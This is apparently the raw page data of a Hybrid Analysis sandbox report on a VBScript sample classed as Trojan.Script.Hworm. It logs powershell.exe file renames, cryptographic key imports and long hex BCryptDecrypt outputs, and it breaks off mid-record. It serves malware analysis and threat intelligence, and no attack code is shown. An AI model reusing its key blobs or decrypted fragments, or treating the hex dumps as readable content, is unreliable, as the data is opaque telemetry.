26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Script.Hworm Sample a06f443a1ca6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a06f443a1ca6…. Malware family: Trojan.Script.Hworm. Threat score 100/100. 1/26 AV engines flagged this file. 2 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a06f443a1ca6cbaf9e8cd3a2ff0e7ec0d982d654709e952fc68621450926c509","keywords":["Malicious","Trojan.Script.Hworm","malware analysis","sandbox report","threat intelligence","a06f443a1ca6cbaf9e8cd3a2ff0e7ec0d982d654709e952fc68621450926c509"],"about":{"@type":"SoftwareApplication","name":"EGK.vbs","applicationCategory":["script","vbs"],"identifier":"a06f443a1ca6cbaf9e8cd3a2ff0e7ec0d982d654709e952fc68621450926c509","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Script.Hworm","antivirusDetections":{"malicious":1,"total":26},"behavioralIndicators":{"malicious":2,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5fe,"powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10b0c8.TMP" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGSX67XCXB4RLVIL5ZO0.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10ce27.TMP" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CD2OWK1HUKQQ5G5TAJW7.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10e697.TMP" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H2XYEND7WCF9PJZ3WQ2E.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms"28:T1dc6,"powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "2f9ef80" "pszBlobType": "OpaqueKeyBlob" "phKey": "601dfb0200000000" "pbKeyObject": "6e0200005255555580eff90200000000801dfb02000000000000000000000000300200004b53534d020001000100000010000000800000001000000066a270f4ff55e3e65eed6d9ae23cafa3000000000000000000000000030000000000000066a270f4ff55e3e65eed6d9ae23cafa38cdb7a6c738e998a2d63f410cf5f5bb341e217e6326c8e6c1f0f7a7cd05021cf161f9d96247313fa3b7c6986eb2c48496f4da67f4b3eb5857042dc039b6e944ae06f706bab51c5eedb1319ed407d8da73f322c629463e98c4f70f0610f0d7dc6a8cd98143cae719873de81f97cd3fc3f4e7ded0472d39c9c010d1d657ddee15a488553fb3a56cf673b5bd20246853358e94639a1d310f6c6e84b24c4aece179cc5b11405a505c3a7356aa7488b34b5a2c2e9ce3f60b4d7a2906f64efbe5e12ea42cebbdea25d199df0dbb34d2e317605043891eee093a2435286aad0deeac548cb19682ee4ab33adb21508938c6c6f98402a64f52fb25b8356be3b3e3e79670b0c00838d6f983f76790c60bd68c75c35abf759576398bcfb16945fcb11cb3c88a817dc22c86fe5ac750ce330075f634366a270f4ff55e3e65eed6d9ae23cafa30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000006a0133676699e7aa69af1aaecd8ebdc9360035003200620066003500630033003000380030003500350064006100" "cbKeyObject": "622" "pbInput": "300200004b53534d020001000100000010000000800000001000000066a270f4ff55e3e65eed6d9ae23cafa3000000000000000000000000030000000000000066a270f4ff55e3e65eed6d9ae23cafa38cdb7a6c738e998a2d63f410cf5f5bb341e217e6326c8e6c1f0f7a7cd05021cf161f9d96247313fa3b7c6986eb2c48496f4da67f4b3eb5857042dc039b6e944ae06f706bab51c5eedb1319ed407d8da73f322c629463e98c4f70f0610f0d7dc6a8cd98143cae719873de81f97cd3fc3f4e7ded0472d39c9c010d1d657ddee15a488553fb3a56cf673b5bd20246853358e94639a1d310f6c6e84b24c4aece179cc5b11405a505c3a7356aa7488b34b5a2c2e9ce3f60b4d7a2906f64efbe5e12ea42cebbdea25d199df0dbb34d2e317605043891eee093a2435286aad0deeac548cb19682ee4ab33adb21508938c6c6f98402a64f52fb25b8356be3b3e3e79670b0c00838d6f983f76790c60bd68c75c35abf759576398bcfb16945fcb11cb3c88a817dc22c86fe5ac750ce330075f634366a270f4ff55e3e65eed6d9ae23cafa30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000006a0133676699e7aa69af1aaecd8ebdc9" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "2f9ef80" "pszBlobType": "OpaqueKeyBlob" "phKey": "P" "pbKeyObject": "6e0200005255555580eff902000000007020fb02000000000000000000000000300200004b53534d0200010001000000100000008000000010000000ee089d543a693c921384b188fa5e1ebb0000000000000000000000000300000000000000ee089d543a693c921384b188fa5e1ebbb77a77798d134beb9e97fa6364c9e4d86813163ae5005dd17b97a7b21f5e436a340914fad109492baa9eee99b5c0adf3869c192f57955004fd0bbe9d48cb136e89e1867dde74d679237f68e46bb47b8a24c0f802fab42e7bd9cb469fb27f3d15b6e7a1354c538f4e9598c9d127e7f4c4a258bdf9ee0b32b77b93fb665c740fa22b2e87b3c525b504beb64e62e2c241c038ad3d2bfd88882f433ec64da1fc878d0587cb782a75f8f65c3fe4a3c6093c52080270c42ff2338e764a1c559a36d8f1ffb979fa27f0434a59b82fdbec7cc4a4447ba485d8493ab07e486c91b5c4eb7f020e30af9c329e35a6015621cb8c87eeaf2068cb9e3cae9a3a33c8146d8dd1cfdfc3428d311cc651a40f668e57be19dba46474e3eedf84dc9513a0dff3b17f559aedc7734abbf03f7bcc240366a2df8aee089d543a693c921384b188fa5e1ebb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000007745f3be123c72a0bdd55ad48751109450770f89fe0700002000000000000000c878f6e8fe07000070770f89fe07" "cbKeyObject": "622" "pbInput": "300200004b53534d0200010001000000100000008000000010000000ee089d543a693c921384b188fa5e1ebb0000000000000000000000000300000000000000ee089d543a693c921384b188fa5e1ebbb77a77798d134beb9e97fa6364c9e4d86813163ae5005dd17b97a7b21f5e436a340914fad109492baa9eee99b5c0adf3869c192f57955004fd0bbe9d48cb136e89e1867dde74d679237f68e46bb47b8a24c0f802fab42e7bd9cb469fb27f3d15b6e7a1354c538f4e9598c9d127e7f4c4a258bdf9ee0b32b77b93fb665c740fa22b2e87b3c525b504beb64e62e2c241c038ad3d2bfd88882f433ec64da1fc878d0587cb782a75f8f65c3fe4a3c6093c52080270c42ff2338e764a1c559a36d8f1ffb979fa27f0434a59b82fdbec7cc4a4447ba485d8493ab07e486c91b5c4eb7f020e30af9c329e35a6015621cb8c87eeaf2068cb9e3cae9a3a33c8146d8dd1cfdfc3428d311cc651a40f668e57be19dba46474e3eedf84dc9513a0dff3b17f559aedc7734abbf03f7bcc240366a2df8aee089d543a693c921384b188fa5e1ebb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000007745f3be123c72a0bdd55ad487511094" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052ab0" "pszBlobType": "ECCPUBLICBLOB" "phKey": "e098241d00000000" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052be0" "pszBlobType": "ECCPUBLICBLOB" "phKey": "609a241d00000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052be0" "pszBlobType": "ECCPUBLICBLOB" "phKey": "109c241d00000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052980" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d09c241d00000000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052980" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e09e241d00000000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052980" "pszBlobType": "RSAPUBLICBLOB" "phKey": "40a5241d00000000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052980" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e0a7241d00000000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052980" "pszBlobType": "RSAPUBLICBLOB" "phKey": "40a8241d00000000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052980" "pszBlobType": "RSAPUBLICBLOB" "phKey": "409c241d00000000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052980" "pszBlobType": "RSAPUBLICBLOB" "phKey": "50a4241d00000000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052be0" "pszBlobType": "ECCPUBLICBLOB" "phKey": "50a4241d00000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "3052be0" "pszBlobType": "ECCPUBLICBLOB" "phKey": "20a4241d00000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"}29:Te26,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "3412e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "30c1f50200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "3412e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d0adf80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "3412e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "70b0f80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "3412e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50b1f80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "3412e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "80b3f80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "3412e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50b8f80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "3412e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0b8f80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "3412e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "30b9f80200000000"}2a:Tb111,"powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 14 Aug 2023 13:20:32 GMTContent-Type: image/jpegContent-Length: 5427280Connection: keep-aliveLast-Modified: Tue, 01 Aug 2023 23:17:35 GMTETag: \"64c9928f-52d050\"Cache-Control: max-age=2678400CF-Cache-Status: MISSAccep"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "018e56aba1a61833dc98b9762ea6dcdcacba20ad952e9aa1db2204705d5d30e7ce8b9bb14674af7d98d967a3af33d33465a826acf70d328f3ece9cfc88e8cd1742b14022ac9a24dace2a68136ba6b842755012ec0904d1054d46a95baa695307b6a704da91421a9a4c986e41350b46b93dcf5b5e7e3e1d39235eaeb872f1eab436a77d4628d45ca668aa482a6895d14c4c51a2a5737a44f9d593a0542848acd6161046816415a9b1b94c4cc563219a6428590a098804ec081827de5d0d32e5f3f4b26cc2c6437b86d1973d3a5ae3cfc7729740f2fa4def46eacf958b2a96563cd963346ab743453743cba2b1329c4e988554c2b8cb9d686818955a75cd61438ab4cd649a16ba19cf3eafa8f2e7dd6ad637d67c6c3622dae742d3d976e1dddb9785874787e5db9b1481aef2d9be39235dcba30a909379a685a381d342d0b94279c6baceef35abb125009adc58424143de4a331ac81a5b9d9a60a0c0a92036b76b8e69d7e8de8f9de5393bbcd72f61b4224858c41352d9643173dbdb2c137833d0434b98a9630010dab64bcaaf24c588e8252a44094a85106e54321000229bb15d032dfa662101498a741aae33e5adb4216c01c1465208981b2f3cb3a0a6d51b6b2ceb5a62d531cad5c4def326b3c69af4cb246b4321401182ab1dba8236154ccd832a952a656564a8b5aad7a63f51eff2be67c7df9b3d72ce841044d1b462cb3a58408201f434e709acab4a014e040816d5802ab14150e07734e8e8cbeede19f8ab83a74e58ab1b6749a61913d3a619a35a6a4d58508440e0dc082d15485321daa614a79c260df59a63420b0d0259a522cadd78e59d16149885b5488c173a6f2cb3a6cdb1eb5479fc77608016a866f6564a4d53a122300205818d83b9bb72a089b4093d0ac953aa738d266ca95ce82220887de4bcef452b5232e05b672e03ae5516411c49a24e34c46bb8db5973b2dd81736c5713227a1ae3831e8a1398c6933a364e816c93531c966500a52d358c54e8a19ad1496d2f4113501ba67931db5dc22290119eafa0c8979ecb41a8a0a0ee7571f2397ac26d48b0d58a5740fc6c3534d48a629f4b68f41d0fbdd3cdb8e6c91af172ebf39cda79bc9a6a16ddb54a9ad674f7bb746bb28dda4638ac50e9801854dda58850021bc908348c12f3ec5f37266944ada554ca85275531c2932a93a9eb5ac39ef82768e2dcbb5c30e5a80c596a989eed714e7a295f435e7c71b74f3dbd93eab57c9479b39e37aaa78cf9d6936748c554c68f4cb267a40b6a85423a944dd0461350409b6a0584e14ac13a4132e59d481541000201d45a01558505b5d2bc33c6825da4b554cb469d33bc925683446865d0e876cb07dc22740556c247a3ece2da2f21cdd8dd22f004333b8201bef38d266943a198a90da94cdd8a050e05b46e5ae17340ac1962226c0462558a06ab"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "4bb1fa77a7bcbeaf547270e7b3973d3e7b2755091712fcfc8a544ac4b1d0b56bcfcc9d63042ea413e899f30ba0ba98ca4ec952d366b8b9e79956ad32e4f3f49010406dc226ec70421411a89d84139cd271568d33dba659b1accb4627e8faf83d0b8f9ef1fa28544d58945d00a763815441d852376f81b58b1dbd1f779fe8de5e0b8bd1cb3a28aa153421123a4a5464d0ec2c1b50b9aa014e036a149c4c470203eb34aa8311c118b75e386361081e82fafdedf3fd375f35735f2ae6f57cc4ed8e182604ea6659d14e6c90acedc826a734a4829326527a6e513629db0a583816123afaf3f331e9db70a04469a74cf34694210d75127554e96e60942d179679d095b1a480b93bc86681558a25005aa1c024e013a2964d6ea8e7c6b104221be7417344adbb4180b4238061d5d79ea1aa7409b0964910a996c899a18d2a5883496b515103d374d6ba340b165ba5b8aa08c239dfae58b0e834cd531cbae6f3d3ab70acf43acce06a9095b849357a61406b170e17950b1303b9bcecda067436d9a3e7f3dd315470318e7469a34e799ebd5bd40475254f7ccf12345f3ad1b2f41bae96d9e9d605039d232b06eed014b0ca985436a2cb44df332d34cbd15289bc515964c691ba5b435224e570970359e6119169ac76f15b9072b252d5309a1250e0da922d80535312ee889bf4c5f78f2f3d4555b0ae2a28532556d12aebc6fdf5bfa9d34f3d1046ad8e84939262380173de1c9be64b54a97702d69bc30cedab4c72ce812e98db8526b554105a74ce27922eea413826b429939a1ad3652a080086395aa20a1305b2a3346bd7e8e4f73d5cbf35f3bd1e8eb860cb7d9a62f6b89875d0505009423a6887438c2a90974c882689aebefcbdfd30f19c7e9215535404e5b79aa3401d89d519e3426a052702c4eb85c316e844106b458ac20e8282d9008916e22074975f5cbf77b7073d6de3b93bb9a28c0032881692dc138848b819b6e987475e7e463d55344365205543a439c84b8e68289b65ad0d0d6949b74c55366d309467bbcb585b97d4a002480c57b49c56b3a5e8fa78f8396ca9d0c4ea8cb16088ca41d289b26f652cd35655c8772b97136008a52639ee6bcdc4cfa073da3404b45e877e6c596ab9ac99ee6452761638d30287114827260f9bdfae0b9a14c6367c536694ec594c887b1ee7a37972b0e924dc56d6fafa56fb3abd18e7855272f96f3e0a3cf738cf1d0f422e5bae28cf7e9596ccd0c2974b68b1d2b3d16bd9733935a6554f130b16d02e95cebd054e94d2d5740cbcd73dd09d95ead6bb3be1d1df3360cb5c525536f3075434cdb6a024427926dfa2c78eb6d2d3c59bc929552b75191909c4f36699657962960281a2f3cd2e112a15519d04e639bb8c4a98e49214c93b569b282d02cb798a7604c505074b5c32e7ae79bd0c28a6cdea5ae7704d7667a75b3a"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "3dd48f49ed76f0d3acd96d873e88eb5ed38b9ef2e35d0eac32cda93161d09cf4cb9d68b9b6fa9be38b92f12d0e25057537cb4b356b0c11d254d2534cda25a66f5e9cb933d70c6e76aea552d29c1d11825a1ab281d039e95f3f25ac09e6ac46b3b2553a5b80489cdb8cce45cd1221572b69ae551740e66aa8c13adb402a441134428a81820d798ab5aa70454d034c532440692f9bd53bf567a32a5aaab5e92d37f3a7370eb88af2ceda9b920b71a272b551a58e8222da00b11dc8c94c1970203f4cd31a4689a096fd325469488388b0369f519a35349828cb6806b5540211a8ca00551b8141404c888327313a556c102153040c4b4e398ca4585840a4c9a6d66b9ad7a65d5d71f3dcdd6eacd0ae2047196993904eda81d8df93958f52d3d779669bdcba9d9eed8d21389a1731ad1539634a7980e8562240b9a0b144c818ca1da7632022cc9525579a5358101812a6a6b132a0c699ba0b0b680081f53ef3b787c8f2f564cf6b54b4e9ca41959ac1499122db0510a4e344531364dd853914a9b31b66c5e6b0b6a05841d014b21b5c02d1c9edb59f3b4926e465926d1eb69d378dab43422772dad6fd31cd96fd0571e79235a0594961b1d1a750b62726969507a0ddfa0e8cf56b96cbc391cdd4aceb56b1c6e5d5389693f48705b8279e5c7758caf335a448b48356ca2eccf36fd96ad2538d2331314dd66599b37832d29ad36f4075faf9df33c7e4e94957323a2d94b5eb1686526d4e4cf576b9c4b97cfd1921a268a9dd4de98a628479634424b048d650d4dd66a4666b3d679ef1a49611c50800107a637590c80a92e54d15c2d55a642354b11523a99285358db503350165414698c14f7e98e4cb6b9a8aa0cd231394d8d8575b2eed6b6ee69a75b49e065af38cfcfdf0f36b9d14a9a585305a210832a52a853a02a98d0a704216214c9a2a5aeb2c39ef6c114468acd2aaa6a99b2f1cb9ed191054ae470ada5940a806212a5d519a7483a1bab35aa055028701ad027682641d0e0a3409d8a05354141606480f55659a74d4e239d579d060cf701fa3df8bcee1d74314ec2d9028562639054033a428dd3d8dcba2a583ce698aa6eca21812a22323462b8d2de602165035508181042b7add9359de79ccd4e14d4731bb44546224e81d70b8ba4c2a41cc1907676e5c8b64e3b50f5dc64cedfa65962e9ad7a619d512699a7dc3ab3c18f45898b4d4c5cd32f28e433b53a30b05a2d8f79e756fa9096fa90cf685416a0a8d004759ad3639899cdbd5b8180943d6964e772523035d44cf568ce746d4b9ac11aa1aa0d73a759691a379e5cf5ec694c1f4f7cf45cebacf91cbbe8d636e91bf5e7e0f9dd621aab2c59e822923988914cdb73499b540a4532ca3d5bb4150c85830b0a09d521948c4547475cf5ed9c493857333e8159e2cf6dfbcbea02286581549beb37eb38f3d"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "d26da929bd024c5b296b6ae355aa7bcc1acd0ed53d539a62a0447373a18844c49856f9d5934379ad0b9b2614d46466d9d3a2b4534c5243e85df5b7c8c5ab485c3e7e5ae8b5a1e7d5db9d595233ae4f36d9ddb495cab946d32e745ce79d687619219dc045953dbd31971a5cbb066919234d3a469b749e8d33e6f2eb9b2d345adba660d85a29366f966c75c79d94c669d9114b4f46ab6542e83a9c534975a696253924c4b3312e756b496f46dcfcfcf643916d6e12e1480a9519c68452b25107790b2a5f434ca25cccf75b5449b401009327149b9cedbcf24d2d8b9a316a217349774cd4f354dd8c98c72acf431c4da8b6faeebdb1e859b72717d5d8e6c1e6a79b3bcd553cebc3339d5b73ac39f1b8b42865c0a74142372a55d7d79b2aacd9dd0e984275402a5aa09aa16ad325cd24aa474b5c75d65c5c7ac66ada2909aa1dd4fa4e8e7f3187480e096500ec09aa4c420e82c56c14c81ae1635aa21d831c02a738691956803b150e010ada14fd975f0f99c7a32e5aedd3254d659d2c501f59e75aeadb00c5e75a95282d759e28db6e9861cf673828eb7a7aaa3067bc1eca94c6a0e0054d1b9b736d04b62121499b46e5a34cd9b5d8b8c78f764d78929c9a7315340e449a640685d4472bcf5219b40142ba909aa6ad169db18e44602d979638d28762a5462102698293b1a60e6851a8822a93b6895b450122a15b54a9c3b54c46bbcaa6e4ed110412ac2d360da4daa26c65e85441428872b72b61229ac5653153504ae98d55ad6941a5bdd6767a3230d3a739abcd95e8b9d359bea1f7982ae0f075618d050c72c73509520329b129b43924a6cd32e7e5b6bd674d99b3640fbcc4d2998e2eee4235cf2c1e4bcde55a6cb7d270cd8d1509814ef143cd95e64e21a3d951b3490559d344dbb49d9b473e0e5cc20c903d4d04eba75c52ce4cdb76c1117d0d79f8d974a1e7a74c7326b9a6290bc3339ddbf265cf54a34d4b5cf3f2de04115c25337352da020c7102916e5ee17346912614fbdd1cfc0e7e98143156c69892d5d2ad8e5ed750bf7b5e92969cfce887e4b3e6e75f202bc35922a4188a299014e44230c98d454a7242315881314e0a32c52918266eda1635c266e22dab1d208a84da09a11c699a410b146c6e45b5aa80d698e50981568372b5761604e56aa320ad3a1935aab2cb3a11209d0d952f706d2a6b3cdb6a2a6a262118216143b0273eebbfcfe7e75e5393ba398381005141437474326fbdbf270b0ecb1d868042a2100d6e2d8c4ed23acb3274e581b6f2c99ef132562ca73a6f0cb3a922951a62e6aa007498d2b152668811ad3598b111a58c03456699a1021d808a3429939311d2db59f3b2e826aa6b5949551c52744c1d264c8873ad151ddd30f3387480e0a0da04ac8355e288b91b3550bcca68c449baf3d034c68d0934da4b9a7564acf6dcb4a1"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "SQ3"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "ab0164408c538d08e342382d370a9ab6521f719a74595436120aa046a050e0441046baba73f2b3e8d0e5137616d0818859622480a8932a573403b6a82da8812a05031aa4cdc2d568acd137aaf24aa44dd87572efccf35a23548614759a4713a4eda36a2ab4e12cbca2006b9706d6ad3b2b4d452d246b55024e713a744911a8d4a84a7416d5b511e93a38bce73f7496eb808b2190d4f304dd798aa63526ed5356955925324e050c93b29c536b0cc3d159b1ce2cfa0a6983a10850a984028b190da9bea539e8d1690ef476eca5e7230ce418a3515e86d8e9117a2f3937514c46857d836f47d1999675269bea413c78e8b556d5436199d19e6f3c56cd73e9ed968acb5565cec3a5337b358d379bf4c939d0a79a6b261a66ceb246bb34842422c99ec559ad5952d14b45111104e5f79f333ac534cb3345989b2cb4cd468d751ce754a96f50962aa130d34b2ab81b1b6b2a9054917866902379b0727568deab019e6a98cd578e7acf9eb4263085ce94245e452d48bbe7c2d5354284baa132f5d65995b9ce2296d5012086c07de66a5a4af3642792c89739a1d82d5adb9a19a2ecaa65cdf475c2a1d675b731e5429456e3506d44f674e9cb15c07cd8eb38e5f3af3eb2554bf4c3246de9a3b3d12db292359f1b3ae65f3f374e75b9a72eb8cf176d13489b16a0c0040ea693883689a54d465050eda04eda1082310956023b6081340510853a6ec5414102c1d53485cdd041d8a0ec5414100dcf45e38cd013f51bf1f94e7edb6807051a205aab140806d02a8226a904d501b9a93adcfeca5e6b79d0038b674f4e7e465bd32d51342048d352a9b0259792e6adcdaa141b7a2e77b8e7e5d0c5494e9c026d344bc41a37290a08d41d20844d02ab0b16fd23267a126825f79d3499d2d36812bd8ad2e1488aa9848a02636754d6428b1b1a1556820254b704106d556e5433029bb410d89f627a3d83ebe9e91c0ca3c9cf1d381652a2566684db13b97269c3deb4f4da9b6e72e57a2e6d06d222e80d8991f529cd8a74d80db73deece1acb4a4d31743b66cac9f79bf584c52e6a0bcff17549b7691033c5e5972a698c74483a18d349a46ce8e47df379de3f41ba472f1e8b4cdcf63ab93998749ab94f22a2a5baf0c586b9684382949658cc9eb5e3c19ec2d1669a5a76e6225c567a38ad7ae5832ac88945d739698f363a4ea4168eac86b1c88e8de5cecb655424965656503cd6863864d25b118d4034337604d1b919bd4a584294c6b44ce8599881b312860529d08edba54e4f4346a1d13071528a21da62ca1ef37ead746327867321c686d456370aa8d13afa0c3b7d12d24e9ccbcc55667970b6e1e65e2579a25e93520c9a73c62935940995488b5567973d682c286ca952707bb5c39f9ef69530584111009a5aba689a05462369255040b0b1132846d0a6b56c004c84e70855"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": 